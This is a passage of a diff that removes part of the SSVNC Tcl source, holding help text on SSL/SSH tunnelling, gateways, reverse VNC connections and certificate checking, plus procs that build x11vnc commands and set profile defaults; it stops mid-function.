- Use SSL: The default, use SSL via STUNNEL (this requires SSL aware VNC
- server, e.g. x11vnc -ssl SAVE ...) See the description in the
- main Help panel.
-
- Use SSH: Instead of using STUNNEL SSL, use ssh(1) for the encrypted
- tunnel. You must be able to log in via ssh to the remote host.
-
- On Unix the cmdline ssh(1) program (it must already be installed)
- will be run in an xterm for passphrase authentication, prompts
- about RSA keys, etc. On Windows the cmdline plink.exe program
- will be launched in a Windows Console window. (Apologies for
- the klunkiness..)
-
- You can set the "VNC Host:Display" to "user@host:disp" to
- indicate ssh should log in as "user" on "host". NOTE: On
- Windows you *MUST* always supply the "user@" part (due to a
- plink deficiency). E.g.:
-
- VNC Host:Display: fred@far-away.east:0
-
-
- Gateway: If an intermediate gateway machine must be used
- (e.g. to enter a firewall; the VNC Server is not running on it),
- put it in the Proxy/Gateway entry, e.g.:
-
- VNC Host:Display: workstation:0
- Proxy/Gateway: user@gateway-host:port
-
- ssh is used to login to user@gateway-host and then a -L port
- redirection is set up to go to workstation:0 from gateway-host.
- ":port" is optional, use it if the gateway-host SSH port is
- not the default value 22.
-
- Chaining 2 ssh's: One can also do a "double ssh", i.e. a
- first SSH to the gateway login machine then a 2nd ssh to the
- destination machine (presumably it is running the vnc server).
-
- Unlike the above example, the "last leg" (gateway-host ->
- workstation) is also encrypted by SSH this way. Do this by
- splitting the gateway in two with a comma, the part before it
- is the first SSH:
-
- VNC Host:Display: localhost:0
- Proxy/Gateway: user@gateway-host:port,user@workstation:port
-
- Web and SOCKS proxies can also be used with SSH:
-
- VNC Host:Display: user@workstation:0
- Proxy/Gateway: socks://socks.server:1080
-
- See the "SSH Proxies/Gateways" in the Main Help document for full
- details.
-
-
- Remote Command: In the "Remote SSH Command" entry you can to
- indicate that a remote command to be run. The default is
- "sleep 15" to make sure port redirections get established. But you
- can run anything else, for example, to run x11vnc on your X :0
- workstation display:
-
- x11vnc -display :0 -nopw
-
-
- Windows SSH SERVER: if you are ssh'ing INTO Windows (e.g. CYGWIN
- SSHD server) there may be no "sleep" command so put in something
- like "ping localhost" or "ping -n 10 -w 1000 localhost" to
- set a short delay to let the port redir get established.
-
-
- Trick: If you use "SHELL" asl the "Remote SSH Command" then
- you get an SSH shell only: no VNC viewer will be launched.
- On Windows "PUTTY" will try to use putty.exe (better terminal
- emulation than plink.exe) A shortcut for this is Ctrl-S as
- long as user@hostname is present in the "VNC Host:Display" box.
-
-
- Use SSH + SSL:
-
- Tunnel the SSL connection through a SSH tunnel. Use this
- if you want end-to-end SSL and must use a SSH gateway (e.g. to
- enter a firewall) or if additional SSH port redirs are required
- (CUPS, Sound, SMB tunnelling: See Advanced Options).
-
- This is a RARELY used mode, but included in case the need arises.
-
-
- No Encryption:
-
- In '-noenc' mode, which is now the default, (Ctrl-E also toggles
- this mode), use this to make a Direct connection to the VNC Server
- with no encryption whatsoever. (Be careful about passwords, etc.)
-
- The -noenc mode is now the default since SSVNC 1.0.25, use
- the '-enc' cmdline option to disable the button.
-
-
- Automatically Find X Session:
-
- When using SSH mode to connect, you can select this option. It
- simply sets the Remote SSH Command to:
-
- PORT= x11vnc -find -localhost
-
- This requires that x11vnc is installed on the remote computer
- and is available in $PATH for the ssh login. The command
- "x11vnc -find -localhost" command is run on the remote
- machine.
-
- The -find option causes x11vnc to try to find an existing X
- session owned by the user (i.e. who you ssh in as). If it
- does it attaches to it; otherwise the x11vnc VNC server exits
- immediately followed by your VNC Viewer.
-
- The PORT= option just means to let x11vnc pick its own
- VNC port and then connect to whatever it picked. Use P=
- for more debugging output.
-
- The idea for this mode is you simply type 'username@workstation'
- in the VNC Host:Display box, Select 'Options -> Automatically
- Find X Session', and then click Connect. The tsvnc mode is
- similar (it runs x11vnc on the remote side with the intent
- of automatically finding, or creating, your desktop).
-
-
- Unix Username & Password:
-
- This is only available on Unix and MacOSX and when using
- the SSVNC enhanced TightVNC viewer (it has been modified to
- do Unix logins). It supports a login dialog with servers
- doing something like x11vnc's "-unixpw" mode. After any
- regular VNC authentication takes place (VNC Password), then
- it sends the Unix Username, a Return, the Unix Password and
- a final Return. This saves you from typing them into the
- "login:" and "Password:" prompts in the viewer window.
-
- Note that the x11vnc -unixpw login mode is external to the
- VNC protocol, so you need to be sure the VNC server is in
- this mode and will be waiting for the dialog. Otherwise the
- username and password will be typed directly into the desktop
- application that happens to have the focus!
-
- When you select this option "Unix Username:" and "Unix
- Password:" entry boxes appear on the main panel where you can
- type them in. x11vnc has settings that can be specified after
- a ":" in the Unix username; they may be used here as well.
- (For example: username:3/4,nc for a smaller screen and -nocache)
-
- If the Unix Username is not set when you click Connect, then
- any SSH username@host is used. Otherwise the environment
- variable $USER or $LOGNAME and finally whoami(1) is used.
-
- Also Note that the Unix Password is never saved in a VNC
- profile (so you have to type it each time). Also, the remote
- x11vnc server is instructed to not echo the Username string
- by sending an initial Escape. Set the SSVNC_UNIXPW_NOESC=1
- environment variable to override this.
-
- Reverse VNC Connection:
-
- Reverse (listening) VNC connections are possible as well.
- Enable with this button "Reverse VNC Connection (-LISTEN)"
-
- In this case the VNC Server initiates the connection to your
- waiting (i.e. listening) SSVNC viewer.
-
- For SSL connections in the 'VNC Host:Display' entry box put in
- the number (e.g. "0" or ":0" or ":1", etc.) that corresponds to
- the Listening display (0 -> port 5500, 1 -> port 5501, etc.) you
- want to use. For example x11vnc can then be used via:
- "x11vnc ... -ssl SAVE -connect hostname:port" using the "port"
- with the one you chose.
-
- Clicking on the 'Listen' button puts your SSVNC viewer
- in a "listening" state on that port number, waiting for a
- connection from the VNC Server.
-
- Then a VNC server should establish a reverse connection to
- that port on this machine (e.g. -connect this-machine:5500
- or -connect this-machine:5503, etc.)
-
- Server SSL certificates will be verified, however you WILL
- NOT be prompted about unrecognized ones; rather, you MUST
- set up the correct Server certificate (e.g. by importing).
- prior to any connections.
-
- If the connection is failing in Reverse VNC (listening) mode,
- check the STUNNEL log output to see if STUNNEL is unable to
- authenticate the VNC Server. If you want to allow in a
- reverse connection with NO Server authentication, unset the
- 'Verify All Certs' option.
-
- When listening in SSL, you will ALSO need to specify YOUR
- OWN SSL cert, "MyCert", or otherwise let the GUI prompt you
- to create a "listen.pem" and use that.
-
- The "listen.pem" will be reused in later SSL Listening
- connections unless you specify a different one with MyCert.
-
- On Windows or using a 3rd party VNC Viewer multiple,
- simultaneous reverse connections are always enabled.
- On Unix/MacOSX with the provided ssvncviewer they are disabled
- by default. To enable them:
- Options -> Advanced -> Unix ssvncviewer -> Multiple LISTEN Conns.
-
- For reverse connections in SSH or SSH + SSL modes it is a
- little trickier. The SSH tunnel (with -R tunnel) must be
- established and remain up waiting for reverse connections.
- The default time is "sleep 1800", i.e. 30 mins. You can put
- a longer or shorter sleep in "Remote SSH Command" (perhaps
- after your command runs: cmd; sleep 3600).
-
- For SSH reverse connections put "hostname:n" in
- 'VNC Host:Display' or "user@hostname:n". The "n" will be the
- listening display on the *REMOTE* side. So to have the remote
- x11vnc connect use: "x11vnc ... -connect localhost:n" or
- "x11vnc -R connect:localhost:n" (-ssl will be needed for SSH+SSL
- mode). If the -R port cannot be opened because it is in use
- by another program you will have to kill everything and start
- over using a different port.
-
- In reverse connections mode be careful to protect the listening
- VNC Viewer from direct connections (neither SSL nor SSH)
- connecting directly to its listening port thereby bypassing
- the tunnel. This can be done by a host-level firewall that
- only lets in, say, port 5500 (the default one ":0" for stunnel
- to listen on). Or for SSH reverse connections allow NO 5500+n
- ports in. For reverse connections, the Unix enhanced tightvnc
- viewers supplied in the SSVNC package will only listen on
- localhost so these precautions are not needed.
-
- Specify a specific interface, e.g. 192.168.1.1:0 to have stunnel
- only listen on that interface. IPv6 works too, e.g. :::0 or ::1:0
- Also works for UN-encrypted reverse connections as well ('None').
-
- Note that for SSL connections use of "Proxy/Gateway" does not
- make sense: the remote side cannot initiate its reverse connection
- via the Proxy.
-
- Note that for SSH or SSH+SSL connections use of "Proxy/Gateway"
- does not make sense (the ssh cannot do a -R on a remote host:port),
- unless it is a double proxy where the 2nd host is the machine with
- the VNC server.
-
-
- View Only: Have VNC Viewer ignore mouse and keyboard input.
-
- Fullscreen: Start the VNC Viewer in fullscreen mode.
-
- Raise On Beep: Deiconify viewer when bell rings.
-
- Use 8bit color: Request a very low-color pixel format.
-
- Do not use JPEG: Do not use the jpeg aspect of the tight encoding.
-
- Use X11 vncviewer on MacOSX:
- On MacOSX try to use the bundled X11 vncviewer
- instead of the Chicken of the VNC viewer;
- The Xquartz X server must be installed (it is by
- default on 10.5.x) and the DISPLAY variable must
- be set (see Tip 15 of Help to do this manually.)
- Put cotvnc=1 in ~/.ssvncrc to switch the default.
-
- Kill Stunnel Automatically:
- On Windows, automatically try to kill the STUNNEL
- process when the VNC Viewer exits. This is a
- global setting (not per-profile); it can be also
- set via either the -killstunnel cmdline option,
- or killstunnel=1 in ssvnc_rc. To disable it supply
- -nokillstunnel or put killstunnel=0 in ssvnc_rc.
- As of 1/2009 this option is on by default.
-
- The main drawback to having STUNNEL automatically
- killed is that you will not be able to view its
- logfile. If you are having trouble connecting via
- SSL, disable this option and double click on the
- dark green STUNNEL icon in the tray to view the log.
-
-
- Compress Level/Quality: Set TightVNC encoding parameters.
-
-
- Putty PW: On Windows only: use the supplied password for plink SSH
- logins. Unlike the other options the value is not saved
- when 'Save' is performed. This feature is useful when
- options under "Advanced" are set that require TWO SSH's:
- you just have to type the password once in this entry box.
- The bundled pageant.exe and puttygen.exe programs can also
- be used to avoid repeatedly entering passwords (note this
- requires setting up and distributing SSH keys). Start up
- pageant.exe or puttygen.exe and read the instructions there.
-
- Note, that there is a small exposure to someone seeing the
- putty password on the plink command line.
-
- Note that the Putty PW is not cleared if you load in a
- new VNC profile.
-
-
- Port Slot: On Windows ports cannot be selected or checked as easily as
- on Unix. So listening ports for ssh redirs, proxy tunnelling,
- and etc. things are picked via finding a free "slot".
- The slots run from 30 to 99 and are locked based on the
- existence of a file with the slot number in it. When the
- connection is about to be made, a free slot is found and used
- to work out some ports (e.g. 5930 for the local VNC port,
- etc.) This way simultaneous SSVNC connections can take place.
-
- One drawback of this is that Putty/Plink stores SSH keys based
- on hostname:port, and with a proxy tunnel the hostname is
- "localhost". So the Putty key store may have key collisions
- for the localhost tunnels, and plink will prompt you to
- resolve the conflict WRT a different SSH key being discovered.
-
- To work around this to some degree you can select a unique
- Port Slot (in the range 50-99) for a specific host. Then the
- ssh redir port to this host will never change and so the
- Putty localhost:fixed-port key should remain valid.
-
-
- Mode: To change the GUI Mode, select between the full SSVNC
- (i.e. SSL and SSH), SSHVNC (i.e. SSH-Only), and Terminal
- Services mode (TSVNC; uses x11vnc)
-
- Note: You can put "mode=tsvnc" or "mode=sshvnc" in your
- ~/.ssvncrc file (ssvnc_rc on Windows) to have the application
- start up in the given mode.
-
-
- Show 'No Encryption' Option:
-
- Note: since SSVNC 1.0.25 the 'No Encryption' Option is
- enabled by default.
-
- Select this to display a button that disables both SSL and
- SSH encryption. This is the same as Ctrl+E. This puts
- a check item "None" on the main panel and also a "No
- Encryption" check item in the "Options" panel. If you
- select this item, there will be NO encryption for the VNC
- connection (use cautiously) See Tip 5) under Help for more
- information about disabling encryption.
-
-
- Buttons:
-
- Use Defaults: Set all options to their defaults (i.e. unset).
-
- Delete Profile: Delete a saved profile.
-
- Advanced: Bring up the Advanced Options dialog.
-
- Save and Load:
-
- You can Save the current settings by clicking on Save
- (.vnc file) and you can also read in a saved one with Load
- Profile. Use the Browse... button to select the filename
- via the GUI.
-
- Pressing Ctrl-L or Clicking the Right mouse button on the
- main GUI will invoke the Load dialog.
-
- Note: On Windows since the TightVNC Viewer will save its own
- settings in the Registry, some unexpected behavior is possible
- because the viewer is nearly always directed to the VNC host
- "localhost:30". E.g. if you specify "View Only" in this gui
- once but not next time the Windows VNC Viewer may remember
- the setting. Unfortunately there is not a /noreg option for
- the Viewer.
-}
- .oh.f.t insert end $msg
- jiggle_text .oh.f.t
-}
-
-proc help_fetch_cert {{selfsigned 1}} {
- toplev .fh
-
- set h 35
- if [small_height] {
- set h 28
- }
- scroll_text_dismiss .fh.f 85 $h
-
- center_win .fh
- wm resizable .fh 1 0
-
- wm title .fh "Fetch Certificates Help"
-
- set msg {
- The displayed SSL Certificate has been retrieved from the VNC Server via the
- "Fetch Cert" action.
-
- It has merely been downloaded via the SSL Protocol:
-
- *** IT HAS NOT BEEN VERIFIED OR AUTHENTICATED IN ANY WAY ***
-
- So, in principle, it could be a fake certificate being inserted by a bad
- person attempting to perform a Man-In-The-Middle attack on your SSL connection.
-
- If, however, by some external means you can verify the authenticity of this SSL
- Certificate you can use it for your VNC SSL connection to the VNC server you
- wish to connect to. It will provide an authenticated and encrypted connection.
-
- You can verify the SSL Certificate by comparing the MD5 or SHA1 hash value
- via a method/channel you know is safe (i.e. not also under control of a
- Man-In-The-Middle attacker). You could also check the text between the
- -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- tags, etc.
-
- Once you are sure it is correct, you can press the Save button to save the
- certificate to a file on the local machine for use when you connect via VNC
- tunneled through SSL. If you save it, then that file will be set as the
- Certificate to verify the VNC server against. You can see this in the dialog
- started via the "Certs..." button on the main panel.
-
- NOTE: If you want to make Permanent the association of the saved SSL certificate
- file with the VNC server host, you MUST save the setting as a profile for
- loading later. To Save a Profile, click on Options -> Save Profile ...,
- and choose a name for the profile and then click on Save.
-
- If "Verify All Certs" is checked, then you are forced to check all new certs.
- In this case the certs are saved in the 'Accepted Certs' directory against
- which all servers will be checked unless "ServerCert" or "CertsDir" has been
- set to something else.
-
- To reload the profile at a later time, click on the "Load" button on the
- main panel and then select the name and click "Open". If you want to be
- sure the certificate is still associated with the loaded in host, click on
- "Certs..." button and make sure the "ServerCert" points to the desired SSL
- filename.
-
- See the Certs... Help for more information. A sophisticated method can be set
- up using a Certificate Authority key to verify never before seen certificates
- (i.e. like your web browser does).
-}
-
- set msg2 {
- --------------------------------------------------------------------------
- NOTE: The certificate that was just downloaded IS NOT a Self-Signed
- certificate. It was signed by a Certificate Authority (CA) instead.
- So saving it does not make sense because it cannot be used to authenticate
- anything.
-
- You need to Obtain and Save the CA's certificate instead.
-
- The remainder of this Help description applies ONLY to Self-Signed
- certificates (i.e. NOT the most recently downloaded one.)
- --------------------------------------------------------------------------
-
-
-}
-
- if {!$selfsigned} {
- regsub { If, however,} $msg "$msg2 If, however," msg
- }
-
- .fh.f.t insert end $msg
- jiggle_text .fh.f.t
-}
-
-proc win_nokill_msg {} {
- global help_font is_windows system_button_face
- toplev .w
-
- eval text .w.t -width 60 -height 11 $help_font
- button .w.d -text "Dismiss" -command {destroy .w}
- pack .w.t .w.d -side top -fill x
-
- apply_bg .w.t
-
- center_win .w
- wm resizable .w 1 0
-
- wm title .w "SSL/SSH Viewer: Warning"
-
- set msg {
- The VNC Viewer has exited.
-
- You will need to terminate STUNNEL manually.
-
- To do this go to the System Tray and right-click on the STUNNEL
- icon (dark green). Then click "Exit".
-
- You can also double click on the STUNNEL icon to view the log
- for error messages and other information.
-}
- .w.t insert end $msg
-}
-
-proc win_kill_msg {pids} {
- global terminate_pids
- global help_font
-
- toplev .w
-
- eval text .w.t -width 72 -height 21 $help_font
- button .w.d -text "Dismiss" -command {destroy .w; set terminate_pids no}
- button .w.k -text "Terminate STUNNEL" -command {destroy .w; set terminate_pids yes}
- pack .w.t .w.k .w.d -side top -fill x
-
- apply_bg .w.t
-
- center_win .w
- wm resizable .w 1 0
-
- wm title .w "SSL/SSH Viewer: Warning"
-
- set msg {
- The VNC Viewer has exited.
-
- We can terminate the following still running STUNNEL process(es):
-
-}
- append msg " $pids\n"
-
- append msg {
- Click on the "Terminate STUNNEL" button below to do so.
-
- Before terminating STUNNEL you can double click on the STUNNEL
- Tray icon to view its log for error messages and other information.
-
- Note: You may STILL need to terminate STUNNEL manually if we are
- unable to kill it. To do this go to the System Tray and right-click
- on the STUNNEL icon (dark green). Then click "Exit". You will
- probably also need to hover the mouse over the STUNNEL Tray Icon to
- make the Tray notice STUNNEL is gone...
-
- To have STUNNEL automatically killed when the Viewer exits use the
- -killstunnel cmdline option, or set it under Options or in ssvnc_rc.
-}
- .w.t insert end $msg
-}
-
-proc win9x_plink_msg {file} {
- global help_font win9x_plink_msg_done
- toplev .pl
-
- eval text .pl.t -width 90 -height 26 $help_font
- button .pl.d -text "OK" -command {destroy .pl; set win9x_plink_msg_done 1}
- wm protocol .pl WM_DELETE_WINDOW {catch {destroy .pl}; set win9x_plink_msg_done 1}
- pack .pl.t .pl.d -side top -fill x
-
- apply_bg .pl.t
-
- center_win .pl
- wm resizable .pl 1 0
-
- wm title .pl "SSL/SSH Viewer: Win9x Warning"
-
- set msg {
- Due to limitations on Window 9x you will have to manually start up
- a COMMAND.COM terminal and paste in the following command:
-
-}
- set pwd [pwd]
- regsub -all {/} $pwd "\\" pwd
- append msg " $pwd\\$file\n"
-
- append msg {
- The reason for this is a poor Console application implementation that
- affects many text based applications.
-
- To start up a COMMAND.COM terminal, click on the Start -> Run, and then
- type COMMAND in the entry box and hit Return or click OK.
-
- To select the above command, highlight it with the mouse and then press
- Ctrl-C. Then go over to the COMMAND.COM window and click on the
- Clipboard paste button. Once pasted in, press Return to run the script.
-
- This will start up a PLINK.EXE ssh login to the remote computer,
- and after you log in successfully and indicate (QUICKLY!!) that the
- connection is OK by clicking OK in this dialog. If the SSH connection
- cannot be autodetected you will ALSO need to click "Success" in the
- "plink ssh status?" dialog, the VNC Viewer will be started going
- through the SSH tunnel.
-}
- .pl.t insert end $msg
- wm deiconify .pl
-}
-
-proc mesg {str} {
- set maxx 60
- if [regexp {^INFO: without Certificate} $str] {
- set maxx 72
- }
- if {[string length $str] > $maxx} {
- set lend [expr $maxx - 1]
- set str [string range $str 0 $lend]
- append str " ..."
- }
- .l configure -text $str
- update
- global env
- if [info exists env(SSVNC_MESG_DELAY)] {
- after $env(SSVNC_MESG_DELAY)
- }
-}
-
-proc get_ssh_hp {str} {
- regsub {cmd=.*$} $str "" str
- set str [string trim $str]
- regsub {[ ].*$} $str "" str
- return $str
-}
-
-proc get_ssh_cmd {str} {
- set str [string trim $str]
- global ts_only
- if {$ts_only} {
- return [ts_x11vnc_cmd]
- }
- if [regexp {cmd=(.*$)} $str m cmd] {
- set cmd [string trim $cmd]
- regsub -nocase {^%x11vncr$} $cmd "x11vnc -nopw -display none -rawfb rand" cmd
- regsub -nocase {^%x11vnc$} $cmd "x11vnc -nopw -display none -rawfb null" cmd
- return $cmd
- } else {
- return ""
- }
-}
-
-proc get_ssh_proxy {str} {
- set str [string trim $str]
- regsub {cmd=.*$} $str "" str
- set str [string trim $str]
- if { ![regexp {[ ]} $str]} {
- return ""
- }
- regsub {^.*[ ][ ]*} $str "" str
- return $str
-}
-
-proc ts_x11vnc_cmd {} {
- global is_windows
- global ts_xserver_type choose_xserver ts_desktop_type choose_desktop ts_unixpw ts_vncshared
- global ts_desktop_size ts_desktop_depth choose_desktop_geom
- global choose_filexfer ts_filexfer
- global ts_x11vnc_opts ts_x11vnc_path ts_x11vnc_autoport choose_x11vnc_opts
- global ts_othervnc choose_othervnc ts_xlogin
- global choose_sleep extra_sleep
-
- set cmd ""
- if {$choose_x11vnc_opts && $ts_x11vnc_path != ""} {
- set cmd $ts_x11vnc_path
- } else {
- set cmd "x11vnc"
- }
- if {! $is_windows} {
- set cmd "PORT= $cmd"
- } else {
- set cmd "PORT= $cmd"
- }
-
- set type $ts_xserver_type;
- if {! $choose_xserver} {
- set type ""
- }
- if {$choose_othervnc && $ts_othervnc == "find"} {
- set type "Xvnc.redirect"
- }
-
- if [info exists choose_sleep] {
- if {! $choose_sleep} {
- set extra_sleep ""
- }
- }
-
- if {$choose_othervnc && $ts_othervnc != "find"} {
- set cmd "$cmd -redirect $ts_othervnc"
- } elseif {$type == ""} {
- global ts_xserver_type_def
- if {$ts_xserver_type_def != ""} {
- set cmd "$cmd -display WAIT:cmd=FINDCREATEDISPLAY-$ts_xserver_type_def";
- } else {
- set cmd "$cmd -display WAIT:cmd=FINDCREATEDISPLAY-Xvfb";
- }
- } elseif {$type == "Xvfb"} {
- set cmd "$cmd -display WAIT:cmd=FINDCREATEDISPLAY-Xvfb";
- } elseif {$type == "Xdummy"} {
- set cmd "$cmd -display WAIT:cmd=FINDCREATEDISPLAY-Xdummy";
- } elseif {$type == "Xvnc"} {
- set cmd "$cmd -display WAIT:cmd=FINDCREATEDISPLAY-Xvnc";
- } elseif {$type == "Xvnc.redirect"} {
- set cmd "$cmd -display WAIT:cmd=FINDCREATEDISPLAY-Xvnc.redirect";
- }
-
- # TBD: Cups + sound
-
- set cmd "$cmd -localhost";
- set cmd "$cmd -nopw";
- global ts_ncache choose_ncache
- if {$choose_ncache && [regexp {^[0-9][0-9]*$} $ts_ncache]} {
- set cmd "$cmd -ncache $ts_ncache";
- } else {
- #set cmd "$cmd -nonc";
- }
- set cmd "$cmd -timeout 120";
- global ts_multisession choose_multisession
- regsub -all {[^A-z0-9_-]} $ts_multisession "" ts_multisession
- if {$choose_multisession && $ts_multisession != ""} {
- set cmd "$cmd -env FD_TAG='$ts_multisession'";
- }
- if {$choose_filexfer && $ts_filexfer != ""} {
- if {$ts_filexfer == "tight"} {
- set cmd "$cmd -tightfilexfer";
- } else {
- set cmd "$cmd -ultrafilexfer";
- }
- }
- if {$ts_unixpw} {
- set cmd "$cmd -unixpw";
- }
- if {$ts_vncshared} {
- set cmd "$cmd -shared";
- }
- set u "unknown"
- global env
- if {[info exists env(USER)]} {
- regsub -all {[^A-z]} $env(USER) "_" u
- }
- set cmd "$cmd -o \$HOME/.tsvnc.log.$u"; # XXX perms
-
- set sess "kde"
- global ts_desktop_type_def
- if {$ts_desktop_type_def != ""} {
- set sess $ts_desktop_type_def
- }
- if {$choose_desktop && $ts_desktop_type != ""} {
- set sess $ts_desktop_type
- }
- set cmd "$cmd -env FD_SESS=$sess";
-
- if {$choose_desktop_geom} {
- set geom "1280x1024"
- set dep 16
- global ts_desktop_size_def ts_desktop_depth_def
- if {$ts_desktop_size_def != ""} {
- set geom $ts_desktop_size_def
- }
- if {$ts_desktop_depth_def != ""} {
- set dep $ts_desktop_depth_def
- }
- if {$ts_desktop_size != ""} {
- if [regexp {^[0-9][0-9]*x[0-9][0-9]*$} $ts_desktop_size] {
- set geom $ts_desktop_size
- }
- if {$ts_desktop_depth != ""} {
- set geom "${geom}x$ts_desktop_depth"
- } else {
- set geom "${geom}x$dep"
- }
- } else {
- set geom "${geom}x$dep"
- }
- set cmd "$cmd -env FD_GEOM=$geom";
- }
- if {$is_windows} {
- ;
- } elseif {$choose_x11vnc_opts && $ts_x11vnc_autoport != "" && [regexp {^[0-9][0-9]*$} $ts_x11vnc_autoport]} {
- set cmd "$cmd -autoport $ts_x11vnc_autoport";
- } else {
- set cmd "$cmd -env AUTO_PORT=5950";
- }
- if {$choose_x11vnc_opts && $ts_x11vnc_opts != ""} {
- set cmd "$cmd $ts_x11vnc_opts";
- }
- if {$ts_xlogin} {
- regsub {PORT= } $cmd "PORT= sudo " cmd
- regsub {P= } $cmd "P= sudo " cmd
- regsub { -o [^ ][^ ]*} $cmd "" cmd
-
- set cmd "$cmd -env FD_XDM=1";
- }
-
- return $cmd
-}
-
-proc set_defaults {} {
- global defs env
-
- global mycert svcert crtdir crlfil
- global use_alpha use_turbovnc disable_pipeline use_grab use_ssl use_ssh use_sshssl use_viewonly use_fullscreen use_bgr233
- global use_send_clipboard use_send_always
- global disable_all_encryption
- global use_nojpeg use_raise_on_beep use_compresslevel use_quality use_x11_macosx
- global compresslevel_text quality_text
- global use_cups use_sound use_smbmnt
- global cups_local_server cups_remote_port cups_manage_rcfile ts_cups_manage_rcfile cups_x11vnc
- global cups_local_smb_server cups_remote_smb_port
- global change_vncviewer change_vncviewer_path vncviewer_realvnc4
- global choose_xserver ts_xserver_type choose_desktop ts_desktop_type ts_unixpw ts_vncshared
- global choose_filexfer ts_filexfer
- global ts_x11vnc_opts choose_x11vnc_opts ts_x11vnc_path ts_x11vnc_autoport ts_xlogin
- global ts_othervnc choose_othervnc choose_sleep
- global choose_ncache ts_ncache choose_multisession ts_multisession
- global ts_mode ts_desktop_size ts_desktop_depth choose_desktop_geom
- global additional_port_redirs additional_port_redirs_list
- global stunnel_local_protection stunnel_local_protection_type ssh_local_protection multiple_listen listen_once listen_accept_popup listen_accept_popup_sc
- global ssh_known_hosts ssh_known_hosts_filename
- global ultra_dsm ultra_dsm_type ultra_dsm_file ultra_dsm_noultra ultra_dsm_salt
- global sound_daemon_remote_cmd sound_daemon_remote_port sound_daemon_kill sound_daemon_restart
- global sound_daemon_local_cmd sound_daemon_local_port sound_daemon_local_kill sound_daemon_x11vnc sound_daemon_local_start
- global smb_su_mode smb_mount_list
- global use_port_knocking port_knocking_list port_slot putty_args
- global ycrop_string ssvnc_scale ssvnc_escape sbwid_string rfbversion ssvnc_encodings ssvnc_extra_opts use_x11cursor use_nobell use_rawlocal use_notty use_popupfix extra_sleep use_listen use_unixpw use_x11vnc_find unixpw_username
- global disable_ssl_workarounds disable_ssl_workarounds_type
- global no_probe_vencrypt server_vencrypt server_anondh
- global include_list
- global svcert_default mycert_default crlfil_default
-
-
- set defs(use_viewonly) 0
- set defs(use_listen) 0
- set defs(disable_ssl_workarounds) 0
- set defs(disable_ssl_workarounds_type) "none"
- set defs(use_unixpw) 0
- set defs(unixpw_username) ""
- set defs(use_x11vnc_find) 0
- set defs(use_fullscreen) 0
- set defs(use_raise_on_beep) 0
- set defs(use_bgr233) 0
- set defs(use_alpha) 0
- set defs(use_send_clipboard) 0
- set defs(use_send_always) 0
- set defs(use_turbovnc) 0
- set defs(disable_pipeline) 0
- set defs(no_probe_vencrypt) 0
- set defs(server_vencrypt) 0
- set defs(server_anondh) 0
- set defs(use_grab) 0
- set defs(use_nojpeg) 0
- set defs(use_x11_macosx) 1
- if [info exists env(SSVNC_COTVNC)] {
- if {$env(SSVNC_COTVNC) != 0} {
- set defs(use_x11_macosx) 0
- }
- } elseif {![info exists env(DISPLAY)]} {
- set defs(use_x11_macosx) 0
- }
- set defs(use_compresslevel) "default"
- set defs(use_quality) "default"
- set defs(compresslevel_text) "Compress Level: default"
- set defs(quality_text) "Quality: default"
-
- set defs(mycert) $mycert_default
- set defs(svcert) $svcert_default
- set defs(crtdir) "ACCEPTED_CERTS"
- set defs(crlfil) $crlfil_default
-
- set defs(use_cups) 0
- set defs(use_sound) 0
- set defs(use_smbmnt) 0
-
- set defs(choose_xserver) 0
- set defs(ts_xserver_type) ""
- set defs(choose_desktop) 0
- set defs(ts_desktop_type) ""
- set defs(ts_desktop_size) ""
- set defs(ts_desktop_depth) ""
- set defs(choose_desktop_geom) 0
- set defs(ts_unixpw) 0
- set defs(ts_vncshared) 0
- set defs(ts_ncache) 8
- set defs(choose_ncache) 0
- set defs(ts_multisession) ""
- set defs(choose_multisession) 0
- set defs(ts_filexfer) ""
- set defs(choose_filexfer) 0
- set defs(choose_x11vnc_opts) 0
- set defs(ts_x11vnc_opts) ""
- set defs(ts_x11vnc_path) ""
- set defs(ts_x11vnc_autoport) ""
- set defs(ts_othervnc) ""
- set defs(choose_othervnc) 0
- set defs(ts_xlogin) 0
- set defs(ts_mode) 0
-
- set defs(change_vncviewer) 0
- set defs(change_vncviewer_path) ""
- set defs(cups_manage_rcfile) 1
- set defs(ts_cups_manage_rcfile) 0
- set defs(cups_x11vnc) 0
- set defs(vncviewer_realvnc4) 0
-
- set defs(additional_port_redirs) 0
- set defs(additional_port_redirs_list) ""
-
- set defs(stunnel_local_protection) 1
- set defs(stunnel_local_protection_type) "exec"
- set defs(ssh_local_protection) 1
- set defs(ssh_known_hosts) 0
- set defs(ssh_known_hosts_filename) ""
- set defs(multiple_listen) 0
- set defs(listen_once) 0
- set defs(listen_accept_popup) 0
- set defs(listen_accept_popup_sc) 0
-
- set defs(ultra_dsm) 0
- set defs(ultra_dsm_file) ""
- set defs(ultra_dsm_type) "guess"
- set defs(ultra_dsm_noultra) 0
- set defs(ultra_dsm_salt) ""
-
- set defs(port_slot) ""
- set defs(putty_args) ""
-
- set defs(cups_local_server) ""
- set defs(cups_remote_port) ""
- set defs(cups_local_smb_server) ""
- set defs(cups_remote_smb_port) ""
-
- set defs(smb_su_mode) "sudo"
- set defs(smb_mount_list) ""
-
- set defs(sound_daemon_remote_cmd) ""
- set defs(sound_daemon_remote_port) ""
- set defs(sound_daemon_kill) 0
- set defs(sound_daemon_restart) 0
-
- set defs(sound_daemon_local_cmd) ""
- set defs(sound_daemon_local_port) ""
- set defs(sound_daemon_local_start) 0
- set defs(sound_daemon_local_kill) 0
- set defs(sound_daemon_x11vnc) 0
-
- set defs(ycrop_string) ""
- set defs(ssvnc_scale) ""
- set defs(ssvnc_escape) ""
- set defs(sbwid_string) ""
- set defs(rfbversion) ""
- set defs(ssvnc_encodings) ""
- set defs(ssvnc_extra_opts) ""
- set defs(use_x11cursor) 0
- set defs(use_nobell) 0
- set defs(use_rawlocal) 0
- set defs(use_notty) 0
- set defs(use_popupfix) 0
- set defs(extra_sleep) ""
- set defs(use_port_knocking) 0
- set defs(port_knocking_list) ""
-
- set defs(include_list) ""
-
- set dir [get_profiles_dir]
- set deffile ""
- if [file exists "$dir/defaults"] {
- set deffile "$dir/defaults"
- } elseif [file exists "$dir/defaults.vnc"] {
- set deffile "$dir/defaults.vnc"
- }
- if {$deffile != ""} {
- set fh ""
- catch {set fh [open $deffile "r"]}
- if {$fh != ""} {
- while {[gets $fh line] > -1} {
- set line [string trim $line]
- if [regexp {^#} $line] {
- continue
- }
- if [regexp {^([^=]*)=(.*)$} $line m var val] {
- if {$var == "disp"} {
- continue
- }
- if [info exists defs($var)] {
- set pct 0
